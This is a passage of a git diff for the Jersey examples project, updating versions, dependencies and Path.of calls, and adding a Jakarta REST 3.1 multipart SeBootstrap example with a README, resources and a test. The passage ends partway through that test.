+++ b/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java
@@ -17,7 +17,7 @@
 import java.io.OutputStream;
 import java.nio.charset.Charset;
 import java.nio.file.Files;
-import java.nio.file.Paths;
+import java.nio.file.Path;
 import java.util.List;
 import java.util.Properties;
 
@@ -145,7 +145,7 @@
     private static void loadSettings() {
         InputStream st = null;
         try {
-            st = Files.newInputStream(Paths.get(PROPERTIES_FILE_NAME));
+            st = Files.newInputStream(Path.of(PROPERTIES_FILE_NAME));
             PROPERTIES.load(st);
         } catch (final IOException e) {
             // ignore
@@ -178,7 +178,7 @@
     private static void storeSettings() {
         OutputStream st = null;
         try {
-            st = Files.newOutputStream(Paths.get(PROPERTIES_FILE_NAME));
+            st = Files.newOutputStream(Path.of(PROPERTIES_FILE_NAME));
             PROPERTIES.store(st, null);
         } catch (final IOException e) {
             // ignore
diff --git a/examples/open-tracing/pom.xml b/examples/open-tracing/pom.xml
index 4370892..5016652 100644
--- a/examples/open-tracing/pom.xml
+++ b/examples/open-tracing/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>open-tracing</artifactId>
diff --git a/examples/osgi-helloworld-webapp/additional-bundle/pom.xml b/examples/osgi-helloworld-webapp/additional-bundle/pom.xml
index 6a7a6b9..50e374f 100644
--- a/examples/osgi-helloworld-webapp/additional-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/additional-bundle/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml b/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml
index 7501550..c6b8e01 100644
--- a/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/functional-test/pom.xml b/examples/osgi-helloworld-webapp/functional-test/pom.xml
index 8453b3a..e1695c2 100644
--- a/examples/osgi-helloworld-webapp/functional-test/pom.xml
+++ b/examples/osgi-helloworld-webapp/functional-test/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
@@ -145,8 +145,8 @@
             <scope>test</scope>
         </dependency>
         <dependency>
-            <groupId>com.sun.activation</groupId>
-            <artifactId>jakarta.activation</artifactId>
+            <groupId>org.eclipse.angus</groupId>
+            <artifactId>angus-activation</artifactId>
         </dependency>
          <!-- uncomment the following dependency to get ability
               to run felix console in the test -->
@@ -204,7 +204,8 @@
             <plugin>
                 <artifactId>maven-surefire-plugin</artifactId>
                 <configuration>
-                    <forkMode>always</forkMode>
+                    <forkCount>1</forkCount>
+                    <reuseForks>false</reuseForks>
                     <enableAssertions>false</enableAssertions>
                     <classpathDependencyExcludes>
                         <classpathDepenencyExclude>org.apache.felix:org.osgi.core</classpathDepenencyExclude>
diff --git a/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java b/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java
index 404c63d..cfd299d 100644
--- a/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java
+++ b/examples/osgi-helloworld-webapp/functional-test/src/test/java/org/glassfish/jersey/examples/helloworld/test/AbstractWebAppTest.java
@@ -14,7 +14,7 @@
 import java.io.IOException;
 import java.net.URI;
 import java.nio.file.Files;
-import java.nio.file.Paths;
+import java.nio.file.Path;
 import java.security.AccessController;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -228,7 +228,7 @@
 
         try {
 
-            final BufferedReader reader = Files.newBufferedReader(Paths.get(felixPolicy));
+            final BufferedReader reader = Files.newBufferedReader(Path.of(felixPolicy));
             String line;
             final Set<String> cpiNames = new HashSet<String>();
 
diff --git a/examples/osgi-helloworld-webapp/lib-bundle/pom.xml b/examples/osgi-helloworld-webapp/lib-bundle/pom.xml
index dcd3cbc..fc73589 100644
--- a/examples/osgi-helloworld-webapp/lib-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/lib-bundle/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/pom.xml b/examples/osgi-helloworld-webapp/pom.xml
index ea5cb87..dcfb3cf 100644
--- a/examples/osgi-helloworld-webapp/pom.xml
+++ b/examples/osgi-helloworld-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>osgi-helloworld-webapp</artifactId>
@@ -29,7 +29,7 @@
         <profile>
             <id>securityOn</id>
             <activation>
-                <jdk>[1.8,24)</jdk>
+                <jdk>[11,24)</jdk>
             </activation>
             <modules>
                 <module>war-bundle</module>
diff --git a/examples/osgi-helloworld-webapp/war-bundle/pom.xml b/examples/osgi-helloworld-webapp/war-bundle/pom.xml
index 1249a34..9b0bd86 100644
--- a/examples/osgi-helloworld-webapp/war-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/war-bundle/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
@@ -57,7 +57,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version><!-- the current project's ${servlet2.version} is 2.4 and that's not enough -->
             <scope>provided</scope>
         </dependency>
 
diff --git a/examples/osgi-http-service/bundle/pom.xml b/examples/osgi-http-service/bundle/pom.xml
index 24cc2ed..3e0b865 100644
--- a/examples/osgi-http-service/bundle/pom.xml
+++ b/examples/osgi-http-service/bundle/pom.xml
@@ -36,7 +36,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
diff --git a/examples/osgi-http-service/functional-test/pom.xml b/examples/osgi-http-service/functional-test/pom.xml
index 762ba76..6e74fc8 100644
--- a/examples/osgi-http-service/functional-test/pom.xml
+++ b/examples/osgi-http-service/functional-test/pom.xml
@@ -204,7 +204,8 @@
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-surefire-plugin</artifactId>
                 <configuration>
-                    <forkMode>always</forkMode>
+                    <forkCount>1</forkCount>
+                    <reuseForks>false</reuseForks>
                     <enableAssertions>false</enableAssertions>
                 </configuration>
                 <executions>
@@ -238,9 +239,8 @@
             </activation>
             <dependencies>
                 <dependency>
-                    <groupId>com.sun.activation</groupId>
-                    <artifactId>jakarta.activation</artifactId>
-                    <version>${jakarta.activation.version}</version>
+                    <groupId>org.eclipse.angus</groupId>
+                    <artifactId>angus-activation</artifactId>
                 </dependency>
             </dependencies>
         </profile>
diff --git a/examples/pom.xml b/examples/pom.xml
index 609875f..540858b 100644
--- a/examples/pom.xml
+++ b/examples/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <licenses>
@@ -70,6 +70,7 @@
         <!--<module>feed-combiner-java8-webapp</module>-->
         <module>freemarker-webapp</module>
         <!--<module>flight-mgmt-webapp</module>-->
+        <module>groovy</module>
         <module>helloworld</module>
         <module>helloworld-benchmark</module>
         <module>helloworld-cdi2-se</module>
@@ -105,6 +106,7 @@
         <module>oauth-client-twitter</module>
         <!--<module>oauth2-client-google-webapp</module>-->
         <module>reload</module>
+        <module>rest31-sebootstrap-multipart</module>
         <module>rx-client-webapp</module>
         <module>server-async</module>
         <module>server-async-managed</module>
@@ -277,17 +279,9 @@
             </resource>
         </resources>
     </build>
+
     <profiles>
         <profile>
-            <id>GROOVY-EXAMPLE</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <modules>
-                <module>groovy</module>
-            </modules>
-        </profile>
-        <profile>
             <id>jdk17</id>
             <activation>
                 <jdk>[17,)</jdk>
diff --git a/examples/reload/pom.xml b/examples/reload/pom.xml
index fbb06f8..3341427 100644
--- a/examples/reload/pom.xml
+++ b/examples/reload/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>reload</artifactId>
diff --git a/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java b/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java
index 8e922b7..e28fe2d 100644
--- a/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java
+++ b/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/App.java
@@ -18,7 +18,7 @@
 import java.nio.file.Files;
 import java.nio.file.FileSystems;
 import java.nio.file.Path;
-import java.nio.file.Paths;
+import java.nio.file.Path;
 import java.nio.file.StandardWatchEventKinds;
 import java.nio.file.WatchEvent;
 import java.nio.file.WatchKey;
@@ -72,10 +72,10 @@
             try {
                 watcher = FileSystems.getDefault().newWatchService();
 
-                Path srcDir = Paths.get("src/main/java/org/glassfish/jersey/examples/reload");
+                Path srcDir = Path.of("src/main/java/org/glassfish/jersey/examples/reload");
                 registerWatcher(watcher, srcDir);
 
-                Path configFilePath = Paths.get(".");
+                Path configFilePath = Path.of(".");
                 registerWatcher(watcher, configFilePath);
 
             } catch (IOException e) {
diff --git a/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/compiler/JavaFile.java b/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/compiler/JavaFile.java
index 2a789ff..5c2b57c 100644
--- a/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/compiler/JavaFile.java
+++ b/examples/reload/src/main/java/org/glassfish/jersey/examples/reload/compiler/JavaFile.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -14,7 +14,7 @@
 import java.io.IOException;
 import java.net.URI;
 import java.nio.file.Files;
-import java.nio.file.Paths;
+import java.nio.file.Path;
 
 import javax.tools.SimpleJavaFileObject;
 
@@ -47,7 +47,7 @@
     public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {
 
         String filePath = path + File.separator + className.replace('.', '/') + Kind.SOURCE.extension;
-        final byte[] bytes = Files.readAllBytes(Paths.get(filePath));
+        final byte[] bytes = Files.readAllBytes(Path.of(filePath));
 
         return new String(bytes);
     }
diff --git a/examples/rest31-sebootstrap-multipart/README.MD b/examples/rest31-sebootstrap-multipart/README.MD
new file mode 100644
index 0000000..804e7b6
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/README.MD
@@ -0,0 +1,37 @@
+[//]: # " Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. "
+[//]: # " "
+[//]: # " This program and the accompanying materials are made available under the "
+[//]: # " terms of the Eclipse Distribution License v. 1.0, which is available at "
+[//]: # " http://www.eclipse.org/org/documents/edl-v10.php. "
+[//]: # " "
+[//]: # " SPDX-License-Identifier: BSD-3-Clause "
+
+Multipart Web app Example
+=========================
+
+This example demonstrates how to develop RESTful web service with
+demonstrating Jakarta REST Integration with MIME MultiPart Message Formats and
+Jakarta REST EE 10 SeBootstrap functionality.
+
+Feel free to compare with pre-Jakarta REST 3.1 Jersey Multipart example (JERSEY_ROOT/examples/multipart-webapp).
+
+Contents
+--------
+
+The mapping of the URI path space is presented in the following table:
+
+ URI path                   | Description                                  | Sample request using curl
+----------------------------|----------------------------------------------| -----------------------------------------------------------------------------------------------
+ **_/form/part_**           | POST message returning entire string         | `curl -X POST -F "part=part1"  http://localhost:8080/multipart-webapp/form/part`
+ **_/form/part-file-name_** | POST message returning part filename string. | Be sure to execute this curl from project directory where pom.xml resides
+|                            |                                              | `curl -X POST -F "part=@pom.xml"  http://localhost:8080/multipart-webapp/form/part-file-name`
+ **_/form/xml-jaxb-part_**  | POST message returning xml jaxb part string. | No curl sample available, please check test sources.
+
+Running the Example
+-------------------
+
+You can run the example using Jetty as follows:
+
+> `mvn clean package exec:java`
+
+The sample requests are using [cURL](http://curl.haxx.se/) command line tool.
\ No newline at end of file
diff --git a/examples/rest31-sebootstrap-multipart/pom.xml b/examples/rest31-sebootstrap-multipart/pom.xml
new file mode 100644
index 0000000..a21ad15
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/pom.xml
@@ -0,0 +1,107 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Distribution License v. 1.0, which is available at
+    http://www.eclipse.org/org/documents/edl-v10.php.
+
+    SPDX-License-Identifier: BSD-3-Clause
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <groupId>org.glassfish.jersey.examples</groupId>
+        <artifactId>project</artifactId>
+        <version>3.1.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>rest31-sebootstrap-multipart</artifactId>
+    <name>jersey-examples-multipart-webapp</name>
+    <packaging>jar</packaging>
+
+    <description>Jersey SeBootstrap Multipart example.</description>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-multipart</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.core</groupId>
+            <artifactId>jersey-server</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.inject</groupId>
+            <artifactId>jersey-hk2</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.xml.bind</groupId>
+            <artifactId>jakarta.xml.bind-api</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-jdk-http</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework</groupId>
+            <artifactId>jersey-test-framework-core</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework</groupId>
+            <artifactId>jersey-test-framework-util</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.junit.jupiter</groupId>
+            <artifactId>junit-jupiter</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+            <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.codehaus.mojo</groupId>
+                <artifactId>exec-maven-plugin</artifactId>
+                <configuration>
+                    <mainClass>org.glassfish.jersey.examples.multipart.webapp.Main</mainClass>
+                </configuration>
+            </plugin>
+        </plugins>
+    </build>
+
+    <profiles>
+        <profile>
+            <id>pre-release</id>
+            <build>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>xml-maven-plugin</artifactId>
+                    </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-assembly-plugin</artifactId>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+    </profiles>
+
+</project>
diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Bean.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Bean.java
new file mode 100644
index 0000000..458222b
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Bean.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.multipart.webapp;
+
+import jakarta.xml.bind.annotation.XmlRootElement;
+
+@XmlRootElement
+public class Bean {
+
+    public String value;
+
+    public Bean() {
+    }
+
+    public Bean(String str) {
+        value = str;
+    }
+
+}
diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Main.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Main.java
new file mode 100644
index 0000000..5dbcfd0
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Main.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.multipart.webapp;
+
+import jakarta.ws.rs.SeBootstrap;
+
+import java.io.IOException;
+import java.util.concurrent.ExecutionException;
+
+public class Main {
+    public static void main(String[] args) throws ExecutionException, InterruptedException {
+        final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder();
+        bootstrapConfigurationBuilder.property(SeBootstrap.Configuration.PORT, 8080);
+
+        SeBootstrap.start(new MyApplication(), bootstrapConfigurationBuilder.build())
+            .whenComplete((instance1, throwable) -> {
+                try {
+                    System.out.println("Press enter to exit");
+                    System.in.read();
+                } catch (IOException e) {
+                    throw new RuntimeException(e);
+                }
+            }).thenAccept((i) -> i.stop())
+
+            .toCompletableFuture().get();
+
+        System.out.println("Exiting...");
+    }
+}
diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartResource.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartResource.java
new file mode 100644
index 0000000..dec7d0e
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartResource.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.multipart.webapp;
+
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.FormParam;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.MediaType;
+
+import java.io.IOException;
+
+@Path("/form")
+public class MultiPartResource {
+
+    @GET
+    @Path("test")
+    public String test() {
+        return "Test successful";
+    }
+
+    @POST
+    @Path("part")
+    @Consumes(MediaType.MULTIPART_FORM_DATA)
+    public String post(@FormParam("part") String s) {
+        return s;
+    }
+
+    @POST
+    @Path("part-file-name")
+    @Consumes(MediaType.MULTIPART_FORM_DATA)
+    public String post(@FormParam("part")EntityPart entityPart) throws IOException {
+        return entityPart.getContent(String.class) + ":" + entityPart.getFileName().get();
+    }
+
+    @POST
+    @Path("xml-jaxb-part")
+    @Consumes(MediaType.MULTIPART_FORM_DATA)
+    public String post(
+            @FormParam("string") EntityPart stringEntityPart,
+            @FormParam("bean") EntityPart beanEntityPart) throws IOException {
+        return stringEntityPart.getContent(String.class) + ":" + stringEntityPart.getFileName().get() + ","
+                + beanEntityPart.getContent(Bean.class).value + ":" + beanEntityPart.getFileName().get();
+    }
+}
diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MyApplication.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MyApplication.java
new file mode 100644
index 0000000..d9d7f30
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MyApplication.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.multipart.webapp;
+
+import jakarta.ws.rs.ApplicationPath;
+
+import org.glassfish.jersey.server.ResourceConfig;
+
+@ApplicationPath("/multipart-webapp")
+public class MyApplication extends ResourceConfig {
+
+    public MyApplication() {
+        super(MultiPartResource.class);
+    }
+}
diff --git a/examples/rest31-sebootstrap-multipart/src/test/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartWebAppTest.java b/examples/rest31-sebootstrap-multipart/src/test/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartWebAppTest.java
new file mode 100644
index 0000000..218923f
--- /dev/null
+++ b/examples/rest31-sebootstrap-multipart/src/test/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartWebAppTest.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.multipart.webapp;
+
+import java.io.File;
+import java.io.IOException;
+import java.net.URI;
+import java.util.List;
+
+import jakarta.ws.rs.ApplicationPath;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.GenericEntity;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.UriBuilder;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.xpath.XPath;
+import javax.xml.xpath.XPathConstants;
+import javax.xml.xpath.XPathFactory;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.internal.util.SaxHelper;
+import org.glassfish.jersey.internal.util.SimpleNamespaceResolver;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import org.w3c.dom.Document;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Tests for {@code MultipartResource} class.
+ *
+ * @author Naresh (Srinivas Bhimisetty)
+ * @author Michal Gajdos
+ */
+public class MultiPartWebAppTest extends JerseyTest {
+
+    public static final String PATH = MyApplication.class.getAnnotation(ApplicationPath.class).value();
+
+    @Override
+    protected URI getBaseUri() {
+        return UriBuilder.fromUri(super.getBaseUri()).path(PATH).build();
+    }
+
+    @Override
+    protected Application configure() {
+        return new MyApplication();
+    }
+
+    @Test
+    public void testApplicationWadl() throws Exception {
+        final WebTarget target = target().path(PATH + "/application.wadl");
+
+        final Response response = target.request().get();
+        assertEquals(200, response.getStatus());
+        final File tmpFile = response.readEntity(File.class);
+
+        final DocumentBuilderFactory bf = DocumentBuilderFactory.newInstance();
+        bf.setNamespaceAware(true);
+        bf.setValidating(false);
+
+        if (!SaxHelper.isXdkDocumentBuilderFactory(bf)) {
+            bf.setXIncludeAware(false);
+        }
+
+        final DocumentBuilder b = bf.newDocumentBuilder();
+        final Document d = b.parse(tmpFile);
+
+        final XPath xp = XPathFactory.newInstance().newXPath();
+        xp.setNamespaceContext(new SimpleNamespaceResolver("wadl", "http://wadl.dev.java.net/2009/02"));
+        String val = (String) xp.evaluate(
+                "//wadl:resource[@path='part']/wadl:method[@name='POST']/wadl:request/wadl:representation/@mediaType",
+                d, XPathConstants.STRING);
+
+        assertEquals("multipart/form-data", val);
+    }
+
+    @Test
+    public void testPart() throws IOException {
+        final WebTarget target = target().path(PATH + "/form/part");
+
+        final EntityPart entityPart = EntityPart.withName("part").content("CONTENT", String.class).build();
+        final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(List.of(entityPart)) {};
+
